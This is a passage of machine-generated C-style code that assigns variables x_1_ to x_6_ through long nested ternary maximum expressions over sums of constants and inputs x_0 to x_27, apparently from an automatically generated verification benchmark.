(10.0 + x_20) : (13.0 + x_21))) : (((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) > ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25))? ((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) : ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25))))? (((3.0 + x_4) > ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))? (3.0 + x_4) : ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))) > (((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) > ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14))? ((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) : ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14)))? ((3.0 + x_4) > ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))? (3.0 + x_4) : ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))) : (((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) > ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14))? ((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) : ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14)))) : (((10.0 + x_18) > ((10.0 + x_20) > (13.0 + x_21)? (10.0 + x_20) : (13.0 + x_21))? (10.0 + x_18) : ((10.0 + x_20) > (13.0 + x_21)? (10.0 + x_20) : (13.0 + x_21))) > (((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) > ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25))? ((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) : ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25)))? ((10.0 + x_18) > ((10.0 + x_20) > (13.0 + x_21)? (10.0 + x_20) : (13.0 + x_21))? (10.0 + x_18) : ((10.0 + x_20) > (13.0 + x_21)? (10.0 + x_20) : (13.0 + x_21))) : (((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) > ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25))? ((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) : ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25)))));
x_1_ = ((((4.0 + x_0) > ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))? (4.0 + x_0) : ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))) > (((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) > ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11))? ((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) : ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11)))? ((4.0 + x_0) > ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))? (4.0 + x_0) : ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))) : (((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) > ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11))? ((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) : ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11)))) > (((13.0 + x_13) > ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))? (13.0 + x_13) : ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))) > (((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) > ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27))? ((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) : ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27)))? ((13.0 + x_13) > ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))? (13.0 + x_13) : ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))) : (((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) > ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27))? ((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) : ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27))))? (((4.0 + x_0) > ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))? (4.0 + x_0) : ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))) > (((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) > ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11))? ((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) : ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11)))? ((4.0 + x_0) > ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))? (4.0 + x_0) : ((14.0 + x_1) > (13.0 + x_2)? (14.0 + x_1) : (13.0 + x_2))) : (((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) > ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11))? ((15.0 + x_3) > (17.0 + x_6)? (15.0 + x_3) : (17.0 + x_6)) : ((14.0 + x_9) > (8.0 + x_11)? (14.0 + x_9) : (8.0 + x_11)))) : (((13.0 + x_13) > ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))? (13.0 + x_13) : ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))) > (((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) > ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27))? ((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) : ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27)))? ((13.0 + x_13) > ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))? (13.0 + x_13) : ((17.0 + x_15) > (11.0 + x_17)? (17.0 + x_15) : (11.0 + x_17))) : (((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) > ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27))? ((9.0 + x_22) > (12.0 + x_25)? (9.0 + x_22) : (12.0 + x_25)) : ((19.0 + x_26) > (5.0 + x_27)? (19.0 + x_26) : (5.0 + x_27)))));
x_2_ = ((((5.0 + x_1) > ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))? (5.0 + x_1) : ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))) > (((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) > ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16))? ((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) : ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16)))? ((5.0 + x_1) > ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))? (5.0 + x_1) : ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))) : (((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) > ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16))? ((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) : ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16)))) > (((19.0 + x_17) > ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))? (19.0 + x_17) : ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))) > (((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) > ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26))? ((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) : ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26)))? ((19.0 + x_17) > ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))? (19.0 + x_17) : ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))) : (((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) > ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26))? ((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) : ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26))))? (((5.0 + x_1) > ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))? (5.0 + x_1) : ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))) > (((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) > ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16))? ((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) : ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16)))? ((5.0 + x_1) > ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))? (5.0 + x_1) : ((10.0 + x_8) > (14.0 + x_9)? (10.0 + x_8) : (14.0 + x_9))) : (((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) > ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16))? ((4.0 + x_10) > (6.0 + x_12)? (4.0 + x_10) : (6.0 + x_12)) : ((10.0 + x_14) > (14.0 + x_16)? (10.0 + x_14) : (14.0 + x_16)))) : (((19.0 + x_17) > ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))? (19.0 + x_17) : ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))) > (((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) > ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26))? ((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) : ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26)))? ((19.0 + x_17) > ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))? (19.0 + x_17) : ((15.0 + x_19) > (7.0 + x_21)? (15.0 + x_19) : (7.0 + x_21))) : (((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) > ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26))? ((11.0 + x_22) > (13.0 + x_24)? (11.0 + x_22) : (13.0 + x_24)) : ((14.0 + x_25) > (6.0 + x_26)? (14.0 + x_25) : (6.0 + x_26)))));
x_3_ = ((((5.0 + x_3) > ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))? (5.0 + x_3) : ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))) > (((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) > ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13))? ((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) : ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13)))? ((5.0 + x_3) > ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))? (5.0 + x_3) : ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))) : (((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) > ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13))? ((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) : ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13)))) > (((10.0 + x_14) > ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))) > (((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) > ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24))? ((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) : ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24)))? ((10.0 + x_14) > ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))) : (((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) > ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24))? ((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) : ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24))))? (((5.0 + x_3) > ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))? (5.0 + x_3) : ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))) > (((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) > ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13))? ((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) : ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13)))? ((5.0 + x_3) > ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))? (5.0 + x_3) : ((15.0 + x_4) > (6.0 + x_5)? (15.0 + x_4) : (6.0 + x_5))) : (((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) > ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13))? ((9.0 + x_8) > (17.0 + x_9)? (9.0 + x_8) : (17.0 + x_9)) : ((8.0 + x_12) > (19.0 + x_13)? (8.0 + x_12) : (19.0 + x_13)))) : (((10.0 + x_14) > ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))) > (((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) > ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24))? ((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) : ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24)))? ((10.0 + x_14) > ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((3.0 + x_15) > (10.0 + x_17)? (3.0 + x_15) : (10.0 + x_17))) : (((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) > ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24))? ((5.0 + x_18) > (19.0 + x_20)? (5.0 + x_18) : (19.0 + x_20)) : ((2.0 + x_23) > (6.0 + x_24)? (2.0 + x_23) : (6.0 + x_24)))));
x_4_ = ((((4.0 + x_0) > ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))? (4.0 + x_0) : ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))) > (((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) > ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14))? ((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) : ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)))? ((4.0 + x_0) > ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))? (4.0 + x_0) : ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))) : (((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) > ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14))? ((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) : ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)))) > (((2.0 + x_15) > ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))? (2.0 + x_15) : ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))) > (((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) > ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27))? ((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) : ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27)))? ((2.0 + x_15) > ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))? (2.0 + x_15) : ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))) : (((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) > ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27))? ((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) : ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27))))? (((4.0 + x_0) > ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))? (4.0 + x_0) : ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))) > (((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) > ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14))? ((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) : ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)))? ((4.0 + x_0) > ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))? (4.0 + x_0) : ((15.0 + x_3) > (4.0 + x_4)? (15.0 + x_3) : (4.0 + x_4))) : (((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) > ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14))? ((6.0 + x_8) > (16.0 + x_11)? (6.0 + x_8) : (16.0 + x_11)) : ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)))) : (((2.0 + x_15) > ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))? (2.0 + x_15) : ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))) > (((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) > ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27))? ((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) : ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27)))? ((2.0 + x_15) > ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))? (2.0 + x_15) : ((19.0 + x_16) > (18.0 + x_17)? (19.0 + x_16) : (18.0 + x_17))) : (((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) > ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27))? ((16.0 + x_21) > (12.0 + x_22)? (16.0 + x_21) : (12.0 + x_22)) : ((7.0 + x_23) > (1.0 + x_27)? (7.0 + x_23) : (1.0 + x_27)))));
x_5_ = ((((13.0 + x_0) > ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))? (13.0 + x_0) : ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))) > (((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) > ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13))? ((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) : ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13)))? ((13.0 + x_0) > ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))? (13.0 + x_0) : ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))) : (((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) > ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13))? ((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) : ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13)))) > (((14.0 + x_17) > ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))? (14.0 + x_17) : ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))) > (((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) > ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27))? ((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) : ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27)))? ((14.0 + x_17) > ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))? (14.0 + x_17) : ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))) : (((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) > ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27))? ((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) : ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27))))? (((13.0 + x_0) > ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))? (13.0 + x_0) : ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))) > (((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) > ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13))? ((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) : ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13)))? ((13.0 + x_0) > ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))? (13.0 + x_0) : ((15.0 + x_5) > (9.0 + x_6)? (15.0 + x_5) : (9.0 + x_6))) : (((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) > ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13))? ((8.0 + x_7) > (6.0 + x_8)? (8.0 + x_7) : (6.0 + x_8)) : ((9.0 + x_10) > (4.0 + x_13)? (9.0 + x_10) : (4.0 + x_13)))) : (((14.0 + x_17) > ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))? (14.0 + x_17) : ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))) > (((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) > ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27))? ((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) : ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27)))? ((14.0 + x_17) > ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))? (14.0 + x_17) : ((15.0 + x_19) > (6.0 + x_20)? (15.0 + x_19) : (6.0 + x_20))) : (((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) > ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27))? ((14.0 + x_22) > (6.0 + x_23)? (14.0 + x_22) : (6.0 + x_23)) : ((11.0 + x_26) > (14.0 + x_27)? (11.0 + x_26) : (14.0 + x_27)))));
x_6_ = ((((5.0 + x_1) > ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))? (5.0 + x_1) : ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))) > (((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) > ((20.0 + x_13) > (17.0 + x_16)? (20.0 + x_13) : (17.0 + x_16))? ((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) : ((20.0 + x_13) > (17.0 + x_16)? (20.0 + x_13) : (17.0 + x_16)))? ((5.0 + x_1) > ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))? (5.0 + x_1) : ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))) : (((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) > ((20.0 + x_13) > (17.0 + x_16)? (20.0 + x_13) : (17.0 + x_16))? ((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) : ((20.0 + x_13) > (17.0 + x_16)? (20.0 + x_13) : (17.0 + x_16)))) > (((11.0 + x_17) > ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))? (11.0 + x_17) : ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))) > (((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) > ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27))? ((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) : ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27)))? ((11.0 + x_17) > ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))? (11.0 + x_17) : ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))) : (((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) > ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27))? ((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) : ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27))))? (((5.0 + x_1) > ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))? (5.0 + x_1) : ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))) > (((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) > ((20.0 + x_13) > (17.0 + x_16)? (20.0 + x_13) : (17.0 + x_16))? ((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) : ((20.0 + x_13) > (17.0 + x_16)? (20.0 + x_13) : (17.0 + x_16)))? ((5.0 + x_1) > ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))? (5.0 + x_1) : ((18.0 + x_2) > (6.0 + x_6)? (18.0 + x_2) : (6.0 + x_6))) : (((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) > ((20.0 + x_13) > (17.0 + 